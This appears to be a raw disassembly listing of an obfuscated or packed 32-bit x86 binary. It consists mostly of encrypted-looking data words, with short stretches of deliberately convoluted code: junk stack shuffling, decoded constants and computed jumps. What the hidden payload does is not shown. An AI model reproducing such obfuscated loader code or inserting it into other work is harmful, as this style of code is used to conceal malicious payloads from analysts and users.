dd 0F2FDF19Eh, 4D0C175Fh, 0C815FA94h, 31B05F2Fh, 44075F34h
dd 0D5219BEh, 75000005h, 0DA6F31Ch, 0AA43907Fh, 49E22FE0h
dd 0E37CC946h, 281865AAh, 0E32C618Dh, 818EFD96h, 1AF59B34h
dd 0B55A34CDh, 373F8E68h, 4DF75350h, 72805633h, 31BEF31Ch
dd 0C24D4328h, 0EE909857h, 0D949F179h, 0A6E881CEh, 6499EA69h
dd 9439EBAAh, 4BBCDh, 0A16E2300h, 3ED1BB54h, 0DD3258F1h
dd 7798F790h, 13FC912Ah, 0FDFD6C6h, 0AB44917Eh, 49E22FE0h
dd 0E27BC847h, 3C1663ACh, 54A2E5EDh, 4E14DF7h, 0F31C722Eh
dd 0FE117B34h, 7E63F6C9h, 4F384057h, 2C47DF5Fh, 2D5A6221h
dd 4E47DF60h, 0EF9FB043h, 880CEB20h, 0F008E59h, 0E2F5CDC2h
dd 2D2222BCh, 74000000h, 1C0A5AEh, 0F17B81F9h, 5C919C49h
dd 0F1834744h, 5190AC4Dh, 0AEDD5A3Ah, 27692224h, 662129E8h
dd 154DF18Eh, 5175770Ah, 0C7000000h, 1C0A5AEh, 5FA5E2EAh
dd 0CBD647DFh, 3FC1C938h, 7249F1AEh, 9CEFA867h, 0AD70171Fh
dd 8134DF1h, 0E29B0A9Dh, 690FA7AAh, 57235DE7h, 437897F6h
dd 0D0B80570h, 4DF229BEh, 0C2818E00h, 29E4A3ABh, 8C974DF2h
dd 2963FCF9h, 0DDEAB1E6h, 54000003h, 1C0A5AEh, 36C94648h
dd 603BBFC7h, 5F6A49F1h, 0E22D612Ah, 83040C23h, 4DF15Fh
dd 0E77D62F5h, 60F0ED3h, 49EFAD61h, 8FD82Fh, 9C07DA0Fh
dd 906A7231h, 885003DEh, 2792BFCFh, 79B7CFDCh, 0B7FF92FDh
dd 0C8C65FACh, 6AEB1247h, 42BD0039h, 4D74B4C6h, 64AA5082h
dd 889166F9h, 58D2DA99h, 6749F1CDh, 2C5E275Ch, 0A9E5AEE3h
dd 879B3166h, 0E018F5Ah, 6A7763A3h, 0B3000F7Fh, 0A9684D56h
dd 3F6ADA1h, 0B3D7D850h, 0E954275Ch, 0EB65A92Ah, 359E7F91h
dd 1596BDA2h, 0CF6DD489h, 4152E56Fh, 0E58DC24Dh, 3039E8F9h
dd 0B26B8241h, 2F0237D8h, 97123C9Ch, 6A7549F1h, 50A841Dh
dd 9BF0A9D0h, 0BDD0E174h, 9FEB2E5Ch, 0FD683B70h, 558AF5C8h
dd 0AB36ABBFh, 82DF2CE3h, 0B6CD8C79h, 86113835h, 8FE20B04h
dd 3292257Bh, 50039DF8h, 0A058687h, 629702D5h, 0E51AF599h
dd 9190513Dh, 0C3DA9988h, 65E3A4ACh, 717947DFh, 47DF6616h
dd 0B7C25A65h, 8266C424h, 566149F1h, 31591209h, 543A4BDEh
dd 4B43FCBBh, 834C31C4h, 5AB7040Bh, 9DA56451h, 5003AEF1h
dd 3C548994h, 47DF6C4Fh, 325988A4h, 22BCEF52h, 4F87h, 79819800h
dd 47DF750Eh, 8F01626Dh, 0AEBFED80h, 4801C0A5h, 54BBD148h
dd 0D0E756E9h, 679C7317h, 25A10194h, 5049F17Fh, 93F81045h
dd 604DF180h, 0E74A021h, 1CADA282h, 0A235A06Fh, 8C048B56h
dd 5924AEAAh, 0C8h, 35DAB16Ah, 6C9A2D00h, 0BEF31C72h, 8FB998F5h
dd 0AA5F6729h, 0B08EF901h, 0E2ED47DFh, 0ED70C77h, 1CF39980h
dd 74A914E7h, 22F7944Dh, 0A93CA768h
dd 0CC19F698h, 0DFAD2CE4h, 0CF404E47h, 0E3365710h, 5A2D62ADh
dd 5F2830EFh, 1C47DFB4h, 0E8817E11h, 0A73469A6h, 0F0F8B79Eh
dd 49F1AD66h, 0CE874651h, 0C1BE51BEh, 0B7765B64h, 6BC58CFEh
dd 2C2E8BA8h, 19881B86h, 4D50A11h, 2FEEF950h, 0ABF81776h
dd 15947B12h, 0EDBE3AF4h, 0BD12D97Eh, 25000001h, 0BD56A36Ch
dd 5AF340CFh, 0F992DF30h, 932C7996h, 0D8C815FAh, 937C11DDh
dd 31DEAD46h, 0CA454BE4h, 65AAE47Dh, 0E7EF3E18h, 4DF757A0h
dd 723006E3h, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h
dd 0F82D3849h, 0F180ABE0h, 0B52C484Dh, 0AEDFE6DEh, 0C23324h
dd 72850000h, 0F0979F1Ch, 9347DF5Fh, 1FE81D88h, 546CA16Eh
dd 47DF5CBCh, 125FB0DEh, 9EA61579h, 47DF63E9h, 0E6861009h
dd 51E984CBh, 19A6DB46h, 5A622110h, 49F183FCh, 0B7D38CEBh
dd 0A0502358h, 4DF188E7h, 63288994h, 97F441ACh, 30DFB18Eh
dd 36EF06C5h, 0C828BB54h, 50042AF6h, 1D6A72D1h, 9547E5E3h
dd 12E51AF5h, 45046F7Ah, 0C10E018Ch, 2BAA6528h, 0EDBEC6ECh
dd 0E9FAC166h, 51000000h, 0E982CF40h, 861F6CA3h, 25BE0B04h
dd 0BF58A56Ah, 4F441CEh, 0BF503DB1h, 5DB2D972h, 0F6197710h
dd 917E10A9h, 131B6A44h, 4DF75874h, 72542A07h, 7C35F41Bh
dd 0F8CB000Fh, 0BFCF6865h, 0A6DB345Ah, 651B68D3h, 0BEF31C72h
dd 297699F5h, 1FDEC3CCh, 7DFC799Eh, 9326A88Eh, 9BE51C24h
dd 2AAB49F7h, 160A72ECh, 0C30B9E2Dh, 0D4BA83B8h, 0B51E417Dh
dd 0B5C5AC31h, 6A414185h, 509D0873h, 338D7B7h, 0D3450DEBh
dd 5B869A30h, 0B5BDFE90h, 6B2926D2h, 0EE3BA6B1h, 0C34C3EF7h
dd 0E26F1F30h, 0C9A2E254h, 4B80EBD8h, 0CD020D82h, 50858A04h
dd 8F2A67BFh, 61C292F2h, 15ABE02Fh, 0BBFBE001h, 0D5F12BACh
dd 973B1D05h, 0BE29B804h, 59F23FD0h, 63811C35h, 5CBB5875h
dd 0DF5BCF1h, 5F000000h, 92F5FD14h, 0F147DF5Fh, 4F253E6h
dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch
dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh
db 0D4h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
sub ebp, esi
pop esi
xchg ebp, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
push 4FECh
mov [esp], ebp
push 617F046h
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push edx
mov edx, 2AF70B8Bh
neg edx
neg edx
not edx
neg edx
xor edx, 2AF70B84h
add edx, ebp
mov [edx], ecx
pop edx
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
sar byte ptr [eax+617FA2Fh], cl
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 66BBC852h, 3313A34Ch, 55217EE3h, 672F6C6Eh, 2574A261h
dd 3D9A8935h, 7C8F65DDh, 426BEA5Ah, 2CBF3D3Ah, 2778892Eh
dd 44FD4142h, 12DE8837h, 6B199FE1h, 2A592AEh, 194CED6Eh
dd 4A2B8546h, 4B940E45h, 64F8BA52h, 426139D6h, 5CBCC13Ah
dd 0CBA9532h, 5C491E91h, 6CBD307Ch, 2DD7B895h, 0CE7F72Fh
dd 485F197Fh, 0FBD28D8Dh, 8E90617h, 36000000h, 6AC8539Eh
dd 89CC0E81h, 122DCD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0C7D88BBBh, 1231BD85h
dd 67E806h, 0DE816600h, 6E90948h, 0B2000000h, 9FE5374h
dd 1185C7ABh, 61200h, 0F000000h, 0B5FFC1BFh, 6120C89h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FCC35646h
dd 0A86DC4F5h, 0F4F229C8h, 0FFF08B66h, 12278195h, 8BDA8B06h
dd 0FF006AC2h, 1229D195h, 0EBC08B06h, 495AB4Ah, 0F090BFB8h
dd 23268951h, 77D515FDh, 0A6252633h, 4C5968A5h, 0B99F32B0h
dd 0E590BA66h, 0B4A2F3Ah, 0AB4138D8h, 4BF6804Bh, 5AAE556Dh
dd 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0CFF1CE0h, 9B83B1F7h
dd 5F8AAA5Bh, 0E9925368h, 1Eh, 3C32256Bh, 6 dup(0)
dd 4EE90000h, 29000005h, 0C15AA768h, 5EF744CBh, 0FD96E32Ch
dd 97307D92h, 0DCCC19F6h, 977815D9h, 35DAB14Ah, 0CE414FE8h
dd 69A6E881h, 0EBF3421Ch, 4DF75B9Ch, 722C02DFh, 0F5BEF31Ch
dd 50A8198h, 0F39CFDD0h, 0A914E71Ch, 0E3AC655Ch, 5FB7D0D8h
dd 0B9C447DFh, 7D67254Eh, 931D218Fh, 709FEF00h, 0F31C723Bh
dd 7897F5BEh, 4899AD43h, 5F1EF19Dh, 0C8EC2EDEh, 9B2E8186h
dd 848B059Eh, 0E1A6AEC5h, 0A247DF87h, 10070497h, 0A4D93657h
dd 632D3ED1h, 0DDAE77ACh, 87B1D6DEh, 0D1D247DFh, 85E651BEh
dd 0FED10609h, 9B53D493h, 0B7855BBEh, 0FB79C2Fh, 0CC5BE23h
dd 885B907Fh, 72A76827h, 95FB0C9Fh, 0FA942D7Ah, 0C6C8E015h
dd 0D647DFBDh, 0B010776Ah, 6522BCA0h, 65h, 0F31C72B7h
dd 72151D34h, 1147DF5Fh, 678E7306h, 603F4850h, 313C47DFh
dd 5F4F3E9Eh, 0DD4947DFh, 0FE358D04h, 5E7522BCh, 7424EBA5h
dd 47DF6C13h, 6B464149h, 2A3547DFh, 0F2F48792h, 1, 0FF1A7244h
dd 5716818Eh, 11AFE5D6h, 0D76AB34Ah, 0AC6329F2h, 2EE1AE77h
dd 924F63F9h, 8DDA3557h, 28759AF4h, 0F41B7272h, 7996F6BFh
dd 0E16544h, 1A67A8E5h, 43020D81h, 7A0D028Ah, 51BECC95h
dd 0D23D531Ch, 54BBD49Dh, 568B771Fh, 0A43D5981h, 0BCFCE5EDh
dd 0C13222h, 72840000h, 8267361Bh, 0C5699B8Fh, 0DF6FCABDh
dd 43AEB947h, 0B0DAA3D8h, 0B7EC2369h, 0AE4479E4h, 0F19C479Ah
dd 5538D11Eh, 0D3BC85BAh, 6FA7E0E8h, 0C9D447DFh, 0A5E69F5Eh
dd 0CF62356Ah, 0A66921EAh, 2AE5A871h, 3558C1C9h, 67D2A5DAh
dd 59889C32h, 0A1405C84h, 0B15E2FE8h, 0E2EAA97Ch, 47DF6FA5h
dd 0CB38CBD6h, 22BCECBBh, 9210h, 25682100h, 81E2B5EAh
dd 0FED10609h, 5B143D6Bh, 0D2A5DA35h, 5F7C0B13h, 0F4FF47DFh
dd 0D23D5061h, 53BCD49Dh, 0D738551Eh, 8B3D9A2h, 0DF5F8700h
dd 7EE9F447h, 11D08449h, 17D037CCh, 93669B74h, 642DB400h
dd 6042454Dh, 364147DFh, 1EFB92A3h, 976A9F70h, 1429DF2Ch
dd 60AE9693h, 7C0F1AA5h, 0B9EE216Bh, 0E020EDA1h, 0FDBECF47h
dd 0E02092F5h, 7BE6F147h, 0FF107D46h, 905105CAh, 6AD53A55h
dd 1F667BE7h, 22BC3FA7h, 674h, 0C0CC8500h, 148EBC4Fh, 0D8461E93h
dd 7A0D5FA7h, 0B9EE2169h, 244C1192h, 0AA0F0AAAh, 4683B081h
dd 0EE81E533h, 20AB1DDh, 47DFEA85h, 4B80EBF6h, 0BF2AB7A3h
dd 9AF744CBh, 0DDE5A491h, 49F20E21h, 233AF904h, 0F2056C1Bh
dd 71040F4Dh, 44CBC38Ch, 30E900F7h, 8601B15Eh, 0CE4DF205h
dd 0F205C1C6h, 1FB7C24Dh, 1E708114h, 0E9A4BCF1h, 0A14DF205h
dd 2569845Dh, 8A049DEAh, 830DC685h, 2384578Ch, 9F72A768h
dd 305E270Ch, 0AFE1AADFh, 2E622B60h, 216ACE1h, 0E99EA6DFh
dd 9A4DF205h, 29AD248Fh, 0AE612DB8h, 58146C61h, 24C124AEh
dd 13000001h, 1C0A5AEh, 0BA5F31EAh, 34073CD3h, 60C194C9h
dd 0D8ABE02Fh, 773DE545h, 70849F1h, 5A2D3586h, 294DF178h
dd 1348B31Eh, 6F77444Ah, 4DF17918h, 0EB246A6Bh, 2FC81580h
dd 0B27BB05Fh, 0BE513DDCh, 0BB3F1E53h, 3CD3BB26h, 0E436FC7Dh
dd 0E965222Ah, 0B164DF1h, 7A2C3AE2h, 9DF5EAE7h, 4A24AE2Ch
dd 45h, 0BFA4AE9Ch, 5F6FF800h, 8B8CC7DFh, 0E09F0A05h, 5EC6C1C9h
dd 0AAB5C7DFh, 6D1A3217h, 49C7DF5Eh, 371EF172h, 879A2DD8h
dd 9FC7C0C8h, 0A9B4C7DEh, 817CA16h, 4A5211FEh, 47DEA01Dh
dd 2FC6131Eh, 7Bh, 0C0A5AE99h, 8155F901h, 728949F1h, 0F1891D6Ah
dd 0C0535E4Dh, 2DAE6D78h, 17AA8B4Ch, 250A9D10h, 90DD325Ch
dd 437897F7h, 0F214612Bh, 0CE13574Dh, 47947B13h, 9F36E1EAh
dd 0D05557E3h, 2D35F45Fh, 5009CA7Ch, 96830A0Bh, 3FAA15FAh
dd 0C24D410Ah, 1DD6E58Dh, 9A6DA26Dh, 5D26BB07h, 0FA23ECA4h
dd 951D4AD9h, 0B78C1F3Fh, 8C7AEh, 49FD39A9h, 877ECBD6h
dd 1D52BDCEh, 0AE89B74Ah, 4CC3CAA5h, 0D03F4E17h, 0E99EA665h
dd 9A47DF5Fh, 5D65248Fh, 49F7544Ch, 0FD127A7Bh, 0FA945D92h
dd 0F39D5615h, 8114E71Ch, 0BD768D84h, 0F88F3FD0h, 8B4DF75Bh
dd 0B2DCED80h, 3010285Dh, 0ED240178h, 828DFDB6h, 9BE77A4Dh
dd 1CF39B46h, 0B75836CFh, 39D6B982h, 71705C04h, 0AAF71876h
dd 0F3949CB3h, 90841D37h, 0ADE1F285h, 4D062D62h, 0CF98CD42h
dd 54E752BDh, 345h, 3422AF00h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h
dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h
dd 0DB10FF8Dh, 585450D4h, 405h, 4E88300h, 5C240487h, 81E68956h
dd 4C6h, 4EE8300h, 5C243487h, 68243489h, 28C4h, 68242C89h
dd 617FC49h, 8124348Bh, 4C4h, 2C8B5400h, 4C48324h, 89F78957h
dd 3C8B087Dh, 4C48124h, 8B000000h, 8950242Ch, 405E0h, 0C0830000h
dd 24048704h, 2434FF5Ch, 4C4835Eh, 0FA7F74E9h, 0AF0A43FFh
dd 0F0194F0Bh, 0FE326960h, 11FB8DAh, 0C5030618h, 0AA8EE0FFh
dd 694A0795h, 73A400ACh, 0E04503FDh, 0F0185917h, 59D834EEh
dd 0BE7F101Eh, 8DDB502Ch, 0C52F3892h, 0C3A55A47h, 1F17392Fh
dd 382661B3h, 7A913E88h, 0C488432Dh, 0A0717314h, 0A9455E19h
dd 10E87B31h, 4E000000h, 0C31DA68Dh, 53F8B7BCh, 9691ECE2h
dd 819B4957h, 94EA1ADAh, 0EA815F3Eh, 7F6128AAh, 5B28C781h
dd 13E90000h, 0F5000000h, 4B37DCBEh, 2D64AB9Ch, 8DA54DEFh
dd 20A8750Bh, 0C02B8216h, 870Fh, 34FF0000h, 0F6805138h
dd 665B594Bh, 0C381D78Bh, 7075891Ch, 0F381F78Bh, 74E2BEB3h
dd 0F880Fh, 8E80000h, 64000000h, 772D9CF5h, 0FC6070FBh
dd 0BF38159h, 0E93B3C79h, 14h, 6A80AFF9h, 48D15F09h, 78ADC599h
dd 32C32B57h, 0D42942A0h, 53071C89h, 12E9h, 0F1A3AC00h
dd 7E5B7F58h, 5D6F5473h, 2AC9250Bh, 5EC9C491h, 68A0Fh
dd 0C1810000h, 29041A07h, 0F04E883h, 0D83h, 8E900h, 0BC7F0000h
dd 0A67417D3h, 0F8816756h, 0FFFFA5E4h, 19850Fh, 6E80000h
dd 28000000h, 0A580B0EAh, 0F0BF0F82h, 21E95Eh, 8FC90000h
dd 0E9D7E70Ch, 0Ch, 5292D895h, 123D9BCDh, 4D909296h, 0FFFF39E9h
dd 391AD3FFh, 0E9B1C71Ah, 0DFh, 1A50C622h, 0CA459CD7h
dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h
dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h
dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h
dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h
dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h
dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h
dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh
dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h
dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 9 dup(0)
dd 0E9000000h, 153Eh, 18060068h, 7D17E906h, 68FFFAh, 0E9061807h
dd 0FFFA7D0Dh, 1807D368h, 7D03E906h, 1A68FFFAh, 0E9061809h
dd 0FFFA7CF9h, 18099B68h, 7CEFE906h, 5168FFFAh, 0E906180Ah
dd 0FFFA7CE5h, 180B1968h, 7CDBE906h, 0C468FFFAh, 0E906180Bh
dd 0FFFA7CD1h, 180C6C68h, 7CC7E906h, 0E968FFFAh, 0E906180Dh
dd 0FFFA7CBDh, 180EE868h, 7CB3E906h, 5168FFFAh, 0E9061810h
dd 0FFFA7CA9h, 18115E68h, 7C9FE906h, 0BB68FFFAh, 0E9061812h
dd 0FFFA7C95h, 1813D868h, 7C8BE906h, 0BB68FFFAh, 0E9061815h
dd 0FFFA7C81h, 1816C768h, 7C77E906h, 0A7EAFFFAh, 0A821B68h
dd 6B1FB805h, 0D1BE57A4h, 3558F13Eh, 189D8DDAh, 0B58B7D6h
dd 0A9F61972h, 428F8010h, 0DD2AE5A9h, 0DBACB403h, 0A84DF763h
dd 8FFBB4CBh, 8CC56AC2h, 0A40F47A5h, 1C72E311h, 99F5BEF3h
dd 1E36B776h, 0F392D881h, 0F9C1C6CEh, 0B7C247DFh, 5FBCB94Ch
dd 0A8B06F56h, 49F226E6h, 83CEC17Ah, 0ADEAEA0Ch, 99C077Eh
dd 6981B6C1h, 4DF18522h, 632CB5D1h, 0A6B850E2h, 0F152CC62h
dd 6B3E739Ch, 916B6BD8h, 75C024AEh, 12000000h, 0C6CAA5AEh
dd 0D0831449h, 1F832620h, 5C9DC631h, 602F9A84h, 0DA5B1A85h
dd 764847AEh, 3CAB3E11h, 0EF206C25h, 175F2830h, 111C47E0h
dd 36A81E7Eh, 0C4CF49F2h, 0F914778Fh, 0C3DF4DF1h, 676F671Eh
dd 0CE4F24AEh, 236CCA52h, 0BC72C3ECh, 0C7B8342h, 6F4DF1C3h
dd 0CDCFD164h, 0E0000000h, 0EB0F0B5Fh, 0D1047AF2h, 8CBAE3C7h
dd 61692869h, 4DF17026h, 89B74A55h, 0BEF31C72h, 427798F5h
dd 0E12E621Bh, 0BE513D4Eh, 7CE16289h, 1627AF6h, 0E0AEBF52h
dd 88BD5239h, 15FD4AB5h, 47E00250h, 0E22FE0AEh, 95CA4549h
dd 5312FF08h, 0F20D8F4Bh, 16636E49h, 0C0CBB0B9h, 0DC471A4Fh
dd 3D4D061Dh, 0A7DF3FD2h, 0CE5004A9h, 6CC68A05h, 46B1C303h
dd 5ABFCE87h, 0D1A4D936h, 0A2EEA766h, 44DDDA6Dh, 6A47C649h
dd 68EDBE30h, 1288FCC3h, 1F720000h, 820AA3F0h, 0E3A7408Dh
dd 4946DF2Ch, 0ADE079C6h, 90251562h, 93E02F5Eh, 317E91FAh
dd 0CA17F898h, 65B25D31h, 53343C8Bh, 304DF765h, 1B727D53h
dd 487D92FEh, 24BD0A75h, 0A258A56Ah, 1C0A5AEh, 97CC4348h
dd 0E550BFCEh, 0EBDBE352h, 1A49F17Eh, 9CB3DA0Fh, 0F180F394h
dd 0F285904Dh, 0F180F992h, 3DEFA4Dh, 0AEDF348Ch, 0D3E124h
dd 14330000h, 5F92F5FDh, 0E6F147DFh, 0C34C4253h, 47C8C58Eh
dd 5A6BFA12h, 0BFCF47DFh, 0B8D89150h, 0BC4F2257h, 0A76826BFh
dd 0F5DCE572h, 70171F36h, 1347DF63h, 2A957A12h, 3A0DBC01h
dd 8619209Bh, 27CB0F17h, 2F3A49F2h, 957C85E2h, 8506BFD6h
dd 0EF82558Ah, 4CE048Fh, 25E4EF50h, 0D936550Eh, 2D3ED1A4h
dd 37F0AF60h, 3357B857h, 0B34C49DCh, 6A60E1DAh, 18558CDCh
dd 1ED8AF5Fh, 0ADE247E6h, 0C25A2D62h, 0C6CD4CB7h, 0ECEDBEE6h
dd 11888047h, 1F720000h, 820AA3F0h, 0E3A7408Dh, 4946DF2Ch
dd 0ADE079C6h, 90251562h, 93E02F5Eh, 317E91FAh, 0CA17F898h
dd 65B25D31h, 53343C8Bh, 304DF766h, 1B727D53h, 800EA7F4h
dd 0E61BF499h, 30E9A813h, 201DB05Fh, 355B146Ah, 583647DAh
dd 0D5B982B7h, 3DF6ED3Ah, 0B487BC53h, 957A1021h, 18F79760h
dd 4D3A4259h, 2E47DF5Fh, 0F1B7FA23h, 60D4543Fh, 0E460D0CDh
dd 62211019h, 0F1F0F45Ah, 0B7081349h, 5BFCB7D7h, 4938415Eh
dd 0B88C828Ah, 53D43B89h, 0B8C013A0h, 3F6A19CFh, 0C378A1ACh
dd 165EF15Bh, 0F6AFD60Bh, 13E87B94h, 545C1B0Ah, 417CDCC1h
dd 23DC9BA6h, 486FA46Bh, 7EDF4740h, 0BE293439h, 8B03BC2Bh
dd 0F09E3784h, 0D929A01Fh, 84291C27h, 10B5BDh, 1DF29F00h
dd 0BA5537D0h, 59B6D46Dh, 0F31C730Ch, 8F800DA6h, 8B635242h
dd 27C00D02h, 0C55EAB64h, 5EF744CBh, 0B892DF30h, 67266169h
dd 78554DF7h, 0FD1C72A2h, 784B808Fh, 0FB954E0Dh, 0FF27EB14h
dd 18F89CCFh, 0A13A085h, 0DA545C1Bh, 0C649F212h, 2C583445h
dd 0F25D6324h, 0EC15204Dh, 0FF8C5532h, 0CA12A510h, 1348C7C9h
dd 99CE414Ah, 0A3F05BC6h, 28623D46h, 74DFB2E7h, 6851ADB5h
dd 69745004h, 536F1C34h, 458447E0h, 7A0D028Ch, 21DAB32Eh
dd 0A20FA26Dh, 22BC0A22h, 24F7h, 0A5AE4900h, 7F901C0h
dd 3A49F1AEh, 0D9B7702Fh, 8C01E936h, 324DF1ADh, 0CD66B35Ch
dd 50174CC3h, 0FF6h, 305B14BAh, 6E774CDFh, 66C0C887h, 1149F759h
dd 60957A10h, 0AA63228Dh, 0EB6C2BE4h, 883741BFh, 9C992C4Bh
dd 0C5848B03h, 0D9281D44h, 0AF2CA9CAh, 58DC0534h, 0E4C95CB6h
dd 0A8674E57h, 0FB5F1A0h, 14D3DE50h, 79DA355Bh, 0FB6AFD12h
dd 0B3D063E4h, 15099F26h, 0F21D7182h, 39820CA5h, 0E00F5631h
dd 0AF1A2547h, 7E4ED7Ah, 80538887h, 244E5615h, 0EC49F230h
dd 81B65933h, 0C8D31BAEh, 0AAF64E49h, 18DF84EBh, 0F6Eh
dd 89D63958h, 26739CF0h, 0C512FD8Dh, 5FAC632Ch, 0FB48C7C6h
dd 4944AA0Bh, 0ABE079C6h, 127E1764h, 7717B0FDh, 22714B98h
dd 0F7686D1Ah, 5B310E4Dh, 1F325B14h, 0F8E17915h, 1C51BCF9h
dd 3556B649h, 0C147E000h, 53BCD3B8h, 21E04B1Eh, 0F7F87019h
dd 45040F49h, 0C00D028Ch, 0E6EA6727h, 0DBDA10C7h, 0AD3A6FDAh
dd 0A78DFFA4h, 33F78169h, 2D0109C8h, 58500A11h, 0DAEBCE4Dh
dd 0A247EDB2h, 0EEDDBh, 55BAD700h, 0F21D6F08h, 917E0CA5h
dd 2BE4AB44h, 0C74845DEh, 0C32B8A7Ah, 5FF845CAh, 0FD96E32Ch
dd 962F7C93h, 0F0CA17F8h, 68EE99A1h, 0B08D4DF7h, 0FD1C72DAh
dd 5615808Fh, 0EB20EF9Dh, 0D7A08518h, 80159AB7h, 360E7EE1h
dd 3A530CCBh, 2C61AEDFh, 0FF8DEE59h, 7508DB10h, 9516A590h
dd 0AB2DC4C9h, 0DAADB5F8h, 0A947DFFEh, 54A0339Eh, 7D8E068Dh
dd 275B22BCh, 0AD000009h, 1C0A5AEh, 0F758BFF9h, 18D7E249h
dd 0A5EA2F5Fh, 8740FF6Ah, 9D20708h, 81548986h, 0ED868316h
dd 21396EA1h, 4DF7626Ah, 0DF9E838Ch, 97657D7h, 0E4636E50h
dd 0EDB24787h, 37DFA64Bh, 2100000Eh, 0B9529F70h, 56EF3CD3h
dd 0F58EDB34h, 8F28759Ah, 0D4C411FEh, 8F800DE1h, 2DE2A942h
dd 0C64947E0h, 61AEE079h, 0E3EB3A14h, 4DF769A4h, 1424FAD7h
dd 0A9DE315Bh, 5C3243D6h, 0D5DDF4B3h, 47DF5FB2h, 4E33C6D1h
dd 7B100985h, 218C5F94h, 2CE3A962h, 0AC9124F7h, 6EB132C1h
dd 3C12885Ch, 1EC30FA2h, 0BC006F67h, 87CBC22h, 230E0000h
dd 47DF5F68h, 0E1A0858Eh, 0DDB36628h, 0BF2AFD32h, 0B524B78Ah
dd 0F7594BADh, 30384F49h, 4DF76257h, 3E861924h, 0D3BB7433h
dd 3856EF3Ch, 0EE9718D7h, 0D2AA08A9h, 592770Ah, 4E5615FCh
dd 5009ECE0h, 69A6E6E7h, 9AA26134h, 47E9C3EDh, 9918838Eh
dd 0EDB23D58h, 6FAE751Ah, 5900000Dh, 0F18AD738h, 8E27749Bh
dd 2DC613FCh, 0C760AD62h, 0CFC49C6h, 0C74845A9h, 65AAE17Ah
dd 0FE117F18h, 997618B1h, 1B23724Ch, 4DF76A6Ch, 725C320Fh
dd 0F5BEF31Ch, 56417699h, 3090F7EAh, 0E522BCE2h, 7DAh
dd 345B1437h, 777FA6DBh, 47DF6010h, 6AFD6873h, 0E6A58C95h
dd 957A16CFh, 5FB9CED6h, 0BFCA47DFh, 5917CC2Ch, 111C49F7h
dd 1AF59952h, 4B3C445Bh, 384DF762h, 49D9A2Dh, 3850858Ah
dd 4DF76253h, 0ECAB9AA3h, 9764AE4h, 0F7FF1650h, 47E97D90h
dd 76AB642Ah, 6D000BA3h, 449B1A25h, 0EEEDB247h, 0CC48249h
dd 0E3AE0000h, 4646DF2Ch, 0A7E37CC9h, 0D821B68h, 711CB502h
dd 5461519Eh, 0CF1CF39Ah, 6DBA5536h, 653BCD4h, 0A1EE216Dh
dd 177078C7h, 644DF76Bh, 1C72B187h, 151D34F3h, 47DF5F72h
dd 0DDAAB211h, 9E47DF5Fh, 61692893h, 47DF6026h, 0D2B74A55h
dd 558A8509h, 0ACE3FE6Ah, 22BCE2D4h, 5EB1DB94h, 97F55629h
dd 0BE3E578h, 35000007h, 0DF5F6723h, 91808947h, 5900CAD2h
dd 0F4FF49F7h, 0FD127C35h, 987717B0h, 0E8CDD663h, 78B52129h
dd 40F95009h, 50AA0150h, 6E60464Ch, 68FBCE03h, 4B961520h
dd 0E7EDB25Fh, 0C1C7B42h, 8B060000h, 0EE9E3784h, 4F3BD421h
dd 0B5DA73C0h, 19740D5Ah, 0FCB9A9F6h, 27749BF2h, 0C512FD8Eh
dd 5EAB642Ch, 0F946C9C5h, 0BFC8D01Fh, 0BC4DF76Bh, 1C7209DFh
dd 99F5BEF3h, 8CFEB776h, 96BA60C5h, 9601CAB3h, 38551E03h
dd 0B5D9A2D7h, 7B8F255Ah, 76FA7166h, 10E806Bh, 8704BDB4h
dd 48A5388h, 9803D60Bh, 8F389805h, 698022BCh, 0DFDD2661h
dd 0B74A5547h, 168B5h, 5B140700h, 0D2A5DA35h, 5F7C0B13h
dd 0F4FF47DFh, 0D13E5061h, 94F3FB12h, 0C047DF5Fh, 0DF5FCFB8h
dd 9A1AC47h, 1DF29DFEh, 0B2DCA58Ah, 0AAB3105Dh, 1C45CAC5h
dd 0EDB9963Dh, 9D5CC70Fh, 0F242F995h, 4C818C49h, 0F1F85734h
dd 0E42B634Dh, 66A9E6AFh, 5A879B31h, 9D1E5D85h, 0F4407DB6h
dd 23646C6Dh, 604DF174h, 232BEA55h, 4DF17364h, 2D790C17h
dd 0F6E5DDB4h, 463224AEh, 43000000h, 0B0B8038Ah, 4DF17BD7h
dd 0F92E99A4h, 4AB55A30h, 0A5AE89B7h, 0CDF901C0h, 3849F17Eh
dd 4F576E2Dh, 4DF18138h, 0CC010E82h, 0F55661F9h, 6E417699h
dd 0ADDEF6DBh, 464DF180h, 0F0D0B72Ah, 2524AEDFh, 80h, 0FD1C7277h
